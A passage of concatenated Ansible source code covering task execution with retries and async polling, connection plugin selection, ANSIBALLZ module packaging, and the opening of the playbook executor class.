            self._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=variables, templar=templar)

            # fields set from the play/task may be based on variables, so we have to
            # do the same kind of post validation step on it here before we use it.
            self._play_context.post_validate(templar=templar)

            # now that the play context is finalized, if the remote_addr is not set
            # default to using the host's address field as the remote address
            if not self._play_context.remote_addr:
                self._play_context.remote_addr = self._host.address

            # We also add "magic" variables back into the variables dict to make sure
            # a certain subset of variables exist.
            self._play_context.update_vars(variables)
        except AnsibleError as e:
            # save the error, which we'll raise later if we don't end up
            # skipping this task during the conditional evaluation step
            context_validation_error = e

        # Evaluate the conditional (if any) for this task, which we do before running
        # the final task post-validation. We do this before the post validation due to
        # the fact that the conditional may specify that the task be skipped due to a
        # variable not being present which would otherwise cause validation to fail
        try:
            if not self._task.evaluate_conditional(templar, variables):
                display.debug("when evaluation failed, skipping this task")
                return dict(changed=False, skipped=True, skip_reason='Conditional check failed', _ansible_no_log=self._play_context.no_log)
        except AnsibleError:
            # skip conditional exception in the case of includes as the vars needed might not be avaiable except in the included tasks or due to tags
            if self._task.action != 'include':
                raise

        # if we ran into an error while setting up the PlayContext, raise it now
        if context_validation_error is not None:
            raise context_validation_error

        # if this task is a TaskInclude, we just return now with a success code so the
        # main thread can expand the task list for the given host
        if self._task.action == 'include':
            include_variables = self._task.args.copy()
            include_file = include_variables.pop('_raw_params', None)
            if not include_file:
                return dict(failed=True, msg="No include file was specified to the include")

            include_file = templar.template(include_file)
            return dict(include=include_file, include_variables=include_variables)

        # Now we do final validation on the task, which sets all fields to their final values.
        self._task.post_validate(templar=templar)
        if '_variable_params' in self._task.args:
            variable_params = self._task.args.pop('_variable_params')
            if isinstance(variable_params, dict):
                display.deprecated("Using variables for task params is unsafe, especially if the variables come from an external source like facts")
                variable_params.update(self._task.args)
                self._task.args = variable_params

        # get the connection and the handler for this execution
        if not self._connection or not getattr(self._connection, 'connected', False) or self._play_context.remote_addr != self._connection._play_context.remote_addr:
            self._connection = self._get_connection(variables=variables, templar=templar)
            self._connection.set_host_overrides(host=self._host, hostvars=variables.get('hostvars', {}).get(self._host.name, {}))
        else:
            # if connection is reused, its _play_context is no longer valid and needs
            # to be replaced with the one templated above, in case other data changed
            self._connection._play_context = self._play_context

        self._handler = self._get_action_handler(connection=self._connection, templar=templar)

        # And filter out any fields which were set to default(omit), and got the omit token value
        omit_token = variables.get('omit')
        if omit_token is not None:
            self._task.args = dict((i[0], i[1]) for i in iteritems(self._task.args) if i[1] != omit_token)

        # Read some values from the task, so that we can modify them if need be
        if self._task.until:
            retries = self._task.retries
            if retries is None:
                retries = 3
            elif retries <= 0:
                retries = 1
            else:
                retries += 1
        else:
            retries = 1

        delay = self._task.delay
        if delay < 0:
            delay = 1

        # make a copy of the job vars here, in case we need to update them
        # with the registered variable value later on when testing conditions
        vars_copy = variables.copy()

        display.debug("starting attempt loop")
        result = None
        for attempt in range(1, retries + 1):
            display.debug("running the handler")
            try:
                result = self._handler.run(task_vars=variables)
            except AnsibleConnectionFailure as e:
                return dict(unreachable=True, msg=to_unicode(e))
            display.debug("handler run complete")

            # preserve no log
            result["_ansible_no_log"] = self._play_context.no_log

            # update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            if self._task.register:
                vars_copy[self._task.register] = wrap_var(result.copy())

            if self._task.async > 0:
                if self._task.poll > 0:
                    result = self._poll_async_result(result=result, templar=templar, task_vars=vars_copy)

                # ensure no log is preserved
                result["_ansible_no_log"] = self._play_context.no_log

            # helper methods for use below in evaluating changed/failed_when
            def _evaluate_changed_when_result(result):
                if self._task.changed_when is not None and self._task.changed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.changed_when
                    result['changed'] = cond.evaluate_conditional(templar, vars_copy)

            def _evaluate_failed_when_result(result):
                if self._task.failed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.failed_when
                    failed_when_result = cond.evaluate_conditional(templar, vars_copy)
                    result['failed_when_result'] = result['failed'] = failed_when_result
                else:
                    failed_when_result = False
                return failed_when_result

            if 'ansible_facts' in result:
                vars_copy.update(result['ansible_facts'])

            # set the failed property if the result has a non-zero rc. This will be
            # overridden below if the failed_when property is set
            if result.get('rc', 0) != 0:
                result['failed'] = True

            # if we didn't skip this task, use the helpers to evaluate the changed/
            # failed_when properties
            if 'skipped' not in result:
                _evaluate_changed_when_result(result)
                _evaluate_failed_when_result(result)

            if retries > 1:
                cond = Conditional(loader=self._loader)
                cond.when = self._task.until
                if cond.evaluate_conditional(templar, vars_copy):
                    break
                else:
                    # no conditional check, or it failed, so sleep for the specified time
                    if attempt < retries:
                        result['attempts'] = attempt
                        result['_ansible_retry'] = True
                        result['retries'] = retries
                        display.debug('Retrying task, attempt %d of %d' % (attempt, retries))
                        self._rslt_q.put(TaskResult(self._host.name, self._task._uuid, result), block=False)
                        time.sleep(delay)
        else:
            if retries > 1:
                # we ran out of attempts, so mark the result as failed
                result['failed'] = True

        # do the final update of the local variables here, for both registered
        # values and any facts which may have been created
        if self._task.register:
            variables[self._task.register] = wrap_var(result)

        if 'ansible_facts' in result:
            variables.update(result['ansible_facts'])

        # save the notification target in the result, if it was specified, as
        # this task may be running in a loop in which case the notification
        # may be item-specific, ie. "notify: service {{item}}"
        if self._task.notify is not None:
            result['_ansible_notify'] = self._task.notify

        # add the delegated vars to the result, so we can reference them
        # on the results side without having to do any further templating
        # FIXME: we only want a limited set of variables here, so this is currently
        #        hardcoded but should be possibly fixed if we want more or if
        #        there is another source of truth we can use
        delegated_vars = variables.get('ansible_delegated_vars', dict()).get(self._task.delegate_to, dict()).copy()
        if len(delegated_vars) > 0:
            result["_ansible_delegated_vars"] = dict()
            for k in ('ansible_host', ):
                result["_ansible_delegated_vars"][k] = delegated_vars.get(k)

        # and return
        display.debug("attempt loop complete, returning result")
        return result

    def _poll_async_result(self, result, templar, task_vars=None):
        '''
        Polls for the specified JID to be complete
        '''

        if task_vars is None:
            task_vars = self._job_vars

        async_jid = result.get('ansible_job_id')
        if async_jid is None:
            return dict(failed=True, msg="No job id was returned by the async task")

        # Create a new psuedo-task to run the async_status module, and run
        # that (with a sleep for "poll" seconds between each retry) until the
        # async time limit is exceeded.

        async_task = Task().load(dict(action='async_status jid=%s' % async_jid))

        # Because this is an async task, the action handler is async. However,
        # we need the 'normal' action handler for the status check, so get it
        # now via the action_loader
        normal_handler = self._shared_loader_obj.action_loader.get(
            'normal',
            task=async_task,
            connection=self._connection,
            play_context=self._play_context,
            loader=self._loader,
            templar=templar,
            shared_loader_obj=self._shared_loader_obj,
        )

        time_left = self._task.async
        while time_left > 0:
            time.sleep(self._task.poll)

            async_result = normal_handler.run(task_vars=task_vars)
            # We do not bail out of the loop in cases where the failure
            # is associated with a parsing error. The async_runner can
            # have issues which result in a half-written/unparseable result
            # file on disk, which manifests to the user as a timeout happening
            # before it's time to timeout.
            if int(async_result.get('finished', 0)) == 1 or ('failed' in async_result and async_result.get('_ansible_parsed', False)) or 'skipped' in async_result:
                break

            time_left -= self._task.poll

        if int(async_result.get('finished', 0)) != 1:
            if async_result.get('_ansible_parsed'):
                return dict(failed=True, msg="async task did not complete within the requested time")
            else:
                return dict(failed=True, msg="async task produced unparseable results", async_result=async_result)
        else:
            return async_result

    def _get_connection(self, variables, templar):
        '''
        Reads the connection property for the host, and returns the
        correct connection object from the list of connection plugins
        '''

        if self._task.delegate_to is not None:
            # since we're delegating, we don't want to use interpreter values
            # which would have been set for the original target host
            for i in variables.keys():
                if isinstance(i, string_types) and i.startswith('ansible_') and i.endswith('_interpreter'):
                    del variables[i]
            # now replace the interpreter values with those that may have come
            # from the delegated-to host
            delegated_vars = variables.get('ansible_delegated_vars', dict()).get(self._task.delegate_to, dict())
            if isinstance(delegated_vars, dict):
                for i in delegated_vars:
                    if isinstance(i, string_types) and i.startswith("ansible_") and i.endswith("_interpreter"):
                        variables[i] = delegated_vars[i]

        conn_type = self._play_context.connection
        if conn_type == 'smart':
            conn_type = 'ssh'
            if sys.platform.startswith('darwin') and self._play_context.password:
                # due to a current bug in sshpass on OSX, which can trigger
                # a kernel panic even for non-privileged users, we revert to
                # paramiko on that OS when a SSH password is specified
                conn_type = "paramiko"
            else:
                # see if SSH can support ControlPersist if not use paramiko
                try:
                    cmd = subprocess.Popen(['ssh','-o','ControlPersist'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    (out, err) = cmd.communicate()
                    err = to_unicode(err)
                    if u"Bad configuration option" in err or u"Usage:" in err:
                        conn_type = "paramiko"
                except OSError:
                    conn_type = "paramiko"

        connection = self._shared_loader_obj.connection_loader.get(conn_type, self._play_context, self._new_stdin)
        if not connection:
            raise AnsibleError("the connection plugin '%s' was not found" % conn_type)

        if self._play_context.accelerate:
            # accelerate is deprecated as of 2.1...
            display.deprecated('Accelerated mode is deprecated. Consider using SSH with ControlPersist and pipelining enabled instead')
            # launch the accelerated daemon here
            ssh_connection = connection
            handler = self._shared_loader_obj.action_loader.get(
                'normal',
                task=self._task,
                connection=ssh_connection,
                play_context=self._play_context,
                loader=self._loader,
                templar=templar,
                shared_loader_obj=self._shared_loader_obj,
            )

            key = key_for_hostname(self._play_context.remote_addr)
            accelerate_args = dict(
                password=base64.b64encode(key.__str__()),
                port=self._play_context.accelerate_port,
                minutes=C.ACCELERATE_DAEMON_TIMEOUT,
                ipv6=self._play_context.accelerate_ipv6,
                debug=self._play_context.verbosity,
            )

            connection = self._shared_loader_obj.connection_loader.get('accelerate', self._play_context, self._new_stdin)
            if not connection:
                raise AnsibleError("the connection plugin '%s' was not found" % conn_type)

            try:
                connection._connect()
            except AnsibleConnectionFailure:
                display.debug('connection failed, fallback to accelerate')
                res = handler._execute_module(module_name='accelerate', module_args=accelerate_args, task_vars=variables, delete_remote_tmp=False)
                display.debug(res)
                connection._connect()

        return connection

    def _get_action_handler(self, connection, templar):
        '''
        Returns the correct action plugin to handle the requestion task action
        '''

        if self._task.action in self._shared_loader_obj.action_loader:
            if self._task.async != 0:
                raise AnsibleError("async mode is not supported with the %s module" % self._task.action)
            handler_name = self._task.action
        elif self._task.async == 0:
            handler_name = 'normal'
        else:
            handler_name = 'async'

        handler = self._shared_loader_obj.action_loader.get(
            handler_name,
            task=self._task,
            connection=connection,
            play_context=self._play_context,
            loader=self._loader,
            templar=templar,
            shared_loader_obj=self._shared_loader_obj,
        )

        if not handler:
            raise AnsibleError("the handler '%s' was not found" % handler_name)

        return handler






# (c) 2013-2014, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2015 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import ast
import base64
import imp
import json
import os
import shlex
import zipfile
from io import BytesIO

# from Ansible
from ansible.release import __version__, __author__
from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.utils.unicode import to_bytes, to_unicode
# Must import strategy and use write_locks from there
# If we import write_locks directly then we end up binding a
# variable to the object and then it never gets updated.
from ansible.plugins import strategy

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

REPLACER          = b"#<<INCLUDE_ANSIBLE_MODULE_COMMON>>"
REPLACER_VERSION  = b"\"<<ANSIBLE_VERSION>>\""
REPLACER_COMPLEX  = b"\"<<INCLUDE_ANSIBLE_MODULE_COMPLEX_ARGS>>\""
REPLACER_WINDOWS  = b"# POWERSHELL_COMMON"
REPLACER_JSONARGS = b"<<INCLUDE_ANSIBLE_MODULE_JSON_ARGS>>"
REPLACER_SELINUX  = b"<<SELINUX_SPECIAL_FILESYSTEMS>>"

# We could end up writing out parameters with unicode characters so we need to
# specify an encoding for the python source file
ENCODING_STRING = u'# -*- coding: utf-8 -*-'

# we've moved the module_common relative to the snippets, so fix the path
_SNIPPET_PATH = os.path.join(os.path.dirname(__file__), '..', 'module_utils')

# ******************************************************************************

def _strip_comments(source):
    # Strip comments and blank lines from the wrapper
    buf = []
    for line in source.splitlines():
        l = line.strip()
        if not l or l.startswith(u'#'):
            continue
        buf.append(line)
    return u'\n'.join(buf)

if C.DEFAULT_KEEP_REMOTE_FILES:
    # Keep comments when KEEP_REMOTE_FILES is set.  That way users will see
    # the comments with some nice usage instructions
    ACTIVE_ANSIBALLZ_TEMPLATE = ANSIBALLZ_TEMPLATE
else:
    # ANSIBALLZ_TEMPLATE stripped of comments for smaller over the wire size
    ACTIVE_ANSIBALLZ_TEMPLATE = _strip_comments(ANSIBALLZ_TEMPLATE)

class ModuleDepFinder(ast.NodeVisitor):
    # Caveats:
    # This code currently does not handle:
    # * relative imports from py2.6+ from . import urls
    IMPORT_PREFIX_SIZE = len('ansible.module_utils.')

    def __init__(self, *args, **kwargs):
        """
        Walk the ast tree for the python module.

        Save submodule[.submoduleN][.identifier] into self.submodules

        self.submodules will end up with tuples like:
          - ('basic',)
          - ('urls', 'fetch_url')
          - ('database', 'postgres')
          - ('database', 'postgres', 'quote')

        It's up to calling code to determine whether the final element of the
        dotted strings are module names or something else (function, class, or
        variable names)
        """
        super(ModuleDepFinder, self).__init__(*args, **kwargs)
        self.submodules = set()

    def visit_Import(self, node):
        # import ansible.module_utils.MODLIB[.MODLIBn] [as asname]
        for alias in (a for a in node.names if a.name.startswith('ansible.module_utils.')):
            py_mod = alias.name[self.IMPORT_PREFIX_SIZE:]
            py_mod = tuple(py_mod.split('.'))
            self.submodules.add(py_mod)
        self.generic_visit(node)

    def visit_ImportFrom(self, node):
        if node.module.startswith('ansible.module_utils'):
            where_from = node.module[self.IMPORT_PREFIX_SIZE:]
            if where_from:
                # from ansible.module_utils.MODULE1[.MODULEn] import IDENTIFIER [as asname]
                # from ansible.module_utils.MODULE1[.MODULEn] import MODULEn+1 [as asname]
                # from ansible.module_utils.MODULE1[.MODULEn] import MODULEn+1 [,IDENTIFIER] [as asname]
                py_mod = tuple(where_from.split('.'))
                for alias in node.names:
                    self.submodules.add(py_mod + (alias.name,))
            else:
                # from ansible.module_utils import MODLIB [,MODLIB2] [as asname]
                for alias in node.names:
                    self.submodules.add((alias.name,))
        self.generic_visit(node)


def _slurp(path):
    if not os.path.exists(path):
        raise AnsibleError("imported module support code does not exist at %s" % os.path.abspath(path))
    fd = open(path, 'rb')
    data = fd.read()
    fd.close()
    return data

def _get_shebang(interpreter, task_vars, args=tuple()):
    """
    Note not stellar API:
       Returns None instead of always returning a shebang line.  Doing it this
       way allows the caller to decide to use the shebang it read from the
       file rather than trust that we reformatted what they already have
       correctly.
    """
    interpreter_config = u'ansible_%s_interpreter' % os.path.basename(interpreter).strip()

    if interpreter_config not in task_vars:
        return (None, interpreter)

    interpreter = task_vars[interpreter_config].strip()
    shebang = u'#!' + interpreter

    if args:
        shebang = shebang + u' ' + u' '.join(args)

    return (shebang, interpreter)

def recursive_finder(name, data, py_module_names, py_module_cache, zf):
    """
    Using ModuleDepFinder, make sure we have all of the module_utils files that
    the module its module_utils files needs.
    """
    # Parse the module and find the imports of ansible.module_utils
    tree = ast.parse(data)
    finder = ModuleDepFinder()
    finder.visit(tree)

    #
    # Determine what imports that we've found are modules (vs class, function.
    # variable names) for packages
    #

    normalized_modules = set()
    # Loop through the imports that we've found to normalize them
    # Exclude paths that match with paths we've already processed
    # (Have to exclude them a second time once the paths are processed)
    for py_module_name in finder.submodules.difference(py_module_names):
        module_info = None

        if py_module_name[0] == 'six':
            # Special case the python six library because it messes up the
            # import process in an incompatible way
            module_info = imp.find_module('six', [_SNIPPET_PATH])
            py_module_name = ('six',)
            idx = 0
        else:
            # Check whether either the last or the second to last identifier is
            # a module name
            for idx in (1, 2):
                if len(py_module_name) < idx:
                    break
                try:
                    module_info = imp.find_module(py_module_name[-idx],
                            [os.path.join(_SNIPPET_PATH, *py_module_name[:-idx])])
                    break
                except ImportError:
                    continue

        # Could not find the module.  Construct a helpful error message.
        if module_info is None:
            msg = ['Could not find imported module support code for %s.  Looked for' % name]
            if idx == 2:
                msg.append('either %s or %s' % (py_module_name[-1], py_module_name[-2]))
            else:
                msg.append(py_module_name[-1])
            raise AnsibleError(' '.join(msg))

        if idx == 2:
            # We've determined that the last portion was an identifier and
            # thus, not part of the module name
            py_module_name = py_module_name[:-1]

        # If not already processed then we've got work to do
        if py_module_name not in py_module_names:
            # If not in the cache, then read the file into the cache
            # We already have a file handle for the module open so it makes
            # sense to read it now
            if py_module_name not in py_module_cache:
                if module_info[2][2] == imp.PKG_DIRECTORY:
                    # Read the __init__.py instead of the module file as this is
                    # a python package
                    py_module_cache[py_module_name + ('__init__',)] = _slurp(os.path.join(os.path.join(_SNIPPET_PATH, *py_module_name), '__init__.py'))
                    normalized_modules.add(py_module_name + ('__init__',))
                else:
                    py_module_cache[py_module_name] = module_info[0].read()
                    module_info[0].close()
                    normalized_modules.add(py_module_name)

            # Make sure that all the packages that this module is a part of
            # are also added
            for i in range(1, len(py_module_name)):
                py_pkg_name = py_module_name[:-i] + ('__init__',)
                if py_pkg_name not in py_module_names:
                    normalized_modules.add(py_pkg_name)
                    py_module_cache[py_pkg_name] = _slurp('%s.py' % os.path.join(_SNIPPET_PATH, *py_pkg_name))

    #
    # iterate through all of the ansible.module_utils* imports that we haven't
    # already checked for new imports
    #

    # set of modules that we haven't added to the zipfile
    unprocessed_py_module_names = normalized_modules.difference(py_module_names)

    for py_module_name in unprocessed_py_module_names:
        py_module_path = os.path.join(*py_module_name)
        py_module_file_name = '%s.py' % py_module_path

        zf.writestr(os.path.join("ansible/module_utils",
                py_module_file_name), py_module_cache[py_module_name])

    # Add the names of the files we're scheduling to examine in the loop to
    # py_module_names so that we don't re-examine them in the next pass
    # through recursive_finder()
    py_module_names.update(unprocessed_py_module_names)

    for py_module_file in unprocessed_py_module_names:
        recursive_finder(py_module_file, py_module_cache[py_module_file], py_module_names, py_module_cache, zf)
        # Save memory; the file won't have to be read again for this ansible module.
        del py_module_cache[py_module_file]

def _is_binary(module_data):
    textchars = bytearray(set([7, 8, 9, 10, 12, 13, 27]) | set(range(0x20, 0x100)) - set([0x7f]))
    start = module_data[:1024]
    return bool(start.translate(None, textchars))

def _find_snippet_imports(module_name, module_data, module_path, module_args, task_vars, module_compression):
    """
    Given the source of the module, convert it to a Jinja2 template to insert
    module code and return whether it's a new or old style module.
    """

    module_substyle = module_style = 'old'

    # module_style is something important to calling code (ActionBase).  It
    # determines how arguments are formatted (json vs k=v) and whether
    # a separate arguments file needs to be sent over the wire.
    # module_substyle is extra information that's useful internally.  It tells
    # us what we have to look to substitute in the module files and whether
    # we're using module replacer or ansiballz to format the module itself.
    if _is_binary(module_data):
        module_substyle = module_style = 'binary'
    elif REPLACER in module_data:
        # Do REPLACER before from ansible.module_utils because we need make sure
        # we substitute "from ansible.module_utils basic" for REPLACER
        module_style = 'new'
        module_substyle = 'python'
        module_data = module_data.replace(REPLACER, b'from ansible.module_utils.basic import *')
    elif b'from ansible.module_utils.' in module_data:
        module_style = 'new'
        module_substyle = 'python'
    elif REPLACER_WINDOWS in module_data:
        module_style = 'new'
        module_substyle = 'powershell'
    elif REPLACER_JSONARGS in module_data:
        module_style = 'new'
        module_substyle = 'jsonargs'
    elif b'WANT_JSON' in module_data:
        module_substyle = module_style = 'non_native_want_json'

    shebang = None
    # Neither old-style, non_native_want_json nor binary modules should be modified
    # except for the shebang line (Done by modify_module)
    if module_style in ('old', 'non_native_want_json', 'binary'):
        return module_data, module_style, shebang

    output = BytesIO()
    py_module_names = set()

    if module_substyle == 'python':
        params = dict(ANSIBLE_MODULE_ARGS=module_args,)
        python_repred_params = repr(json.dumps(params))

        try:
            compression_method = getattr(zipfile, module_compression)
        except AttributeError:
            display.warning(u'Bad module compression string specified: %s.  Using ZIP_STORED (no compression)' % module_compression)
            compression_method = zipfile.ZIP_STORED

        lookup_path = os.path.join(C.DEFAULT_LOCAL_TMP, 'ansiballz_cache')
        cached_module_filename = os.path.join(lookup_path, "%s-%s" % (module_name, module_compression))

        zipdata = None
        # Optimization -- don't lock if the module has already been cached
        if os.path.exists(cached_module_filename):
            display.debug('ANSIBALLZ: using cached module: %s' % cached_module_filename)
            zipdata = open(cached_module_filename, 'rb').read()
        else:
            if module_name in strategy.action_write_locks:
                display.debug('ANSIBALLZ: Using lock for %s' % module_name)
                lock = strategy.action_write_locks[module_name]
            else:
                # If the action plugin directly invokes the module (instead of
                # going through a strategy) then we don't have a cross-process
                # Lock specifically for this module.  Use the "unexpected
                # module" lock instead
                display.debug('ANSIBALLZ: Using generic lock for %s' % module_name)
                lock = strategy.action_write_locks[None]

            display.debug('ANSIBALLZ: Acquiring lock')
            with lock:
                display.debug('ANSIBALLZ: Lock acquired: %s' % id(lock))
                # Check that no other process has created this while we were
                # waiting for the lock
                if not os.path.exists(cached_module_filename):
                    display.debug('ANSIBALLZ: Creating module')
                    # Create the module zip data
                    zipoutput = BytesIO()
                    zf = zipfile.ZipFile(zipoutput, mode='w', compression=compression_method)
                    ### Note: If we need to import from release.py first,
                    ### remember to catch all exceptions: https://github.com/ansible/ansible/issues/16523
                    zf.writestr('ansible/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n__version__="' + to_bytes(__version__) + b'"\n__author__="' + to_bytes(__author__) + b'"\n')
                    zf.writestr('ansible/module_utils/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n')

                    zf.writestr('ansible_module_%s.py' % module_name, module_data)

                    py_module_cache = { ('__init__',): b'' }
                    recursive_finder(module_name, module_data, py_module_names, py_module_cache, zf)
                    zf.close()
                    zipdata = base64.b64encode(zipoutput.getvalue())

                    # Write the assembled module to a temp file (write to temp
                    # so that no one looking for the file reads a partially
                    # written file)
                    if not os.path.exists(lookup_path):
                        # Note -- if we have a global function to setup, that would
                        # be a better place to run this
                        os.mkdir(lookup_path)
                    display.debug('ANSIBALLZ: Writing module')
                    with open(cached_module_filename + '-part', 'wb') as f:
                        f.write(zipdata)

                    # Rename the file into its final position in the cache so
                    # future users of this module can read it off the
                    # filesystem instead of constructing from scratch.
                    display.debug('ANSIBALLZ: Renaming module')
                    os.rename(cached_module_filename + '-part', cached_module_filename)
                    display.debug('ANSIBALLZ: Done creating module')

            if zipdata is None:
                display.debug('ANSIBALLZ: Reading module after lock')
                # Another process wrote the file while we were waiting for
                # the write lock.  Go ahead and read the data from disk
                # instead of re-creating it.
                try:
                    zipdata = open(cached_module_filename, 'rb').read()
                except IOError:
                    raise AnsibleError('A different worker process failed to create module file.  Look at traceback for that process for debugging information.')
        zipdata = to_unicode(zipdata, errors='strict')

        shebang, interpreter = _get_shebang(u'/usr/bin/python', task_vars)
        if shebang is None:
            shebang = u'#!/usr/bin/python'

        # Enclose the parts of the interpreter in quotes because we're
        # substituting it into the template as a Python string
        interpreter_parts = interpreter.split(u' ')
        interpreter = u"'{0}'".format(u"', '".join(interpreter_parts))

        output.write(to_bytes(ACTIVE_ANSIBALLZ_TEMPLATE % dict(
            zipdata=zipdata,
            ansible_module=module_name,
            params=python_repred_params,
            shebang=shebang,
            interpreter=interpreter,
            coding=ENCODING_STRING,
            )))
        module_data = output.getvalue()

    elif module_substyle == 'powershell':
        # Module replacer for jsonargs and windows
        lines = module_data.split(b'\n')
        for line in lines:
            if REPLACER_WINDOWS in line:
                ps_data = _slurp(os.path.join(_SNIPPET_PATH, "powershell.ps1"))
                output.write(ps_data)
                py_module_names.add((b'powershell',))
                continue
            output.write(line + b'\n')
        module_data = output.getvalue()

        module_args_json = to_bytes(json.dumps(module_args))
        module_data = module_data.replace(REPLACER_JSONARGS, module_args_json)

        # Powershell/winrm don't actually make use of shebang so we can
        # safely set this here.  If we let the fallback code handle this
        # it can fail in the presence of the UTF8 BOM commonly added by
        # Windows text editors
        shebang = u'#!powershell'

        # Sanity check from 1.x days.  This is currently useless as we only
        # get here if we are going to substitute powershell.ps1 into the
        # module anyway.  Leaving it for when/if we add other powershell
        # module_utils files.
        if (b'powershell',) not in py_module_names:
            raise AnsibleError("missing required import in %s: # POWERSHELL_COMMON" % module_path)

    elif module_substyle == 'jsonargs':
        module_args_json = to_bytes(json.dumps(module_args))

        # these strings could be included in a third-party module but
        # officially they were included in the 'basic' snippet for new-style
        # python modules (which has been replaced with something else in
        # ansiballz) If we remove them from jsonargs-style module replacer
        # then we can remove them everywhere.
        python_repred_args = to_bytes(repr(module_args_json))
        module_data = module_data.replace(REPLACER_VERSION, to_bytes(repr(__version__)))
        module_data = module_data.replace(REPLACER_COMPLEX, python_repred_args)
        module_data = module_data.replace(REPLACER_SELINUX, to_bytes(','.join(C.DEFAULT_SELINUX_SPECIAL_FS)))

        # The main event -- substitute the JSON args string into the module
        module_data = module_data.replace(REPLACER_JSONARGS, module_args_json)

        facility = b'syslog.' + to_bytes(task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY), errors='strict')
        module_data = module_data.replace(b'syslog.LOG_USER', facility)

    return (module_data, module_style, shebang)

# ******************************************************************************

def modify_module(module_name, module_path, module_args, task_vars=dict(), module_compression='ZIP_STORED'):
    """
    Used to insert chunks of code into modules before transfer rather than
    doing regular python imports.  This allows for more efficient transfer in
    a non-bootstrapping scenario by not moving extra files over the wire and
    also takes care of embedding arguments in the transferred modules.

    This version is done in such a way that local imports can still be
    used in the module code, so IDEs don't have to be aware of what is going on.

    Example:

    from ansible.module_utils.basic import *

       ... will result in the insertion of basic.py into the module
       from the module_utils/ directory in the source tree.

    For powershell, there's equivalent conventions like this:

    # POWERSHELL_COMMON

    which results in the inclusion of the common code from powershell.ps1

    """
    with open(module_path, 'rb') as f:

        # read in the module source
        module_data = f.read()

    (module_data, module_style, shebang) = _find_snippet_imports(module_name, module_data, module_path, module_args, task_vars, module_compression)

    if module_style == 'binary':
        return (module_data, module_style, to_unicode(shebang, nonstring='passthru'))
    elif shebang is None:
        lines = module_data.split(b"\n", 1)
        if lines[0].startswith(b"#!"):
            shebang = lines[0].strip()
            args = shlex.split(str(shebang[2:]))
            interpreter = args[0]
            interpreter = to_bytes(interpreter)

            new_shebang = to_bytes(_get_shebang(interpreter, task_vars, args[1:])[0], errors='strict', nonstring='passthru')
            if new_shebang:
                lines[0] = shebang = new_shebang

            if os.path.basename(interpreter).startswith(b'python'):
                lines.insert(1, to_bytes(ENCODING_STRING))
        else:
            # No shebang, assume a binary module?
            pass

        module_data = b"\n".join(lines)
    else:
        shebang = to_bytes(shebang, errors='strict')

    return (module_data, module_style, to_unicode(shebang, nonstring='passthru'))






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.compat.six import string_types

from ansible import constants as C
from ansible.executor.task_queue_manager import TaskQueueManager
from ansible.playbook import Playbook
from ansible.template import Templar
from ansible.utils.helpers import pct_to_int
from ansible.utils.path import makedirs_safe
from ansible.utils.unicode import to_unicode, to_str

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class PlaybookExecutor:

    '''
    This is the primary class for executing playbooks, and thus the
    basis for bin/ansible-playbook operation.
    '''

    def __init__(self, playbooks, inventory, variable_manager, loader, options, passwords):
        self._playbooks        = playbooks
        self._inventory        = inventory
        self._variable_manager = variable_manager
        self._loader           = loader
        self._options          = options
        self.passwords         = passwords
        self._unreachable_hosts = dict()

        if options.listhosts or options.listtasks or options.listtags or options.syntax:
            self._tqm = None
        else:
            self._tqm = TaskQueueManager(inventory=inventory, variable_manager=variable_manager, loader=loader, options=options, passwords=self.passwords)

    def run(self):

        '''
        Run the given playbook, based on the settings in the play which
        may limit the runs to serialized groups, etc.
        '''

        result = 0
        entrylist = []
        entry = {}
        try:
            for playbook_path in self._playbooks:
                pb = Playbook.load(playbook_path, variable_manager=self._variable_manager, loader=self._loader)
                self._inventory.set_playbook_basedir(os.path.realpath(os.path.dirname(playbook_path)))

                if self._tqm is None: # we are doing a listing
                    entry = {'playbook': playbook_path}
                    entry['plays'] = []
                else:
                    # make sure the tqm has callbacks loaded
                    self._tqm.load_callbacks()
                    self._tqm.send_callback('v2_playbook_on_start', pb)

                i = 1
                plays = pb.get_plays()
                display.vv(u'%d plays in %s' % (len(plays), to_unicode(playbook_path)))

                for play in plays:
                    if play._included_path is not None:
                        self._loader.set_basedir(play._included_path)
                    else:
                        self._loader.set_basedir(pb._basedir)

                    # clear any filters which may have been applied to the inventory
                    self._inventory.remove_restriction()

                    if play.vars_prompt:
                        for var in play.vars_prompt:
                            vname     = var['name']
                            prompt    = var.get("prompt", vname)
                            default   = var.get("default", None)
                            private   = var.get("private", True)
                            confirm   = var.get("confirm", False)
                            encrypt   = var.get("encrypt", None)
                            salt_size = var.get("salt_size", None)
                            salt      = var.get("salt", None)

                            if vname not in self._variable_manager.extra_vars:
                                if self._tqm:
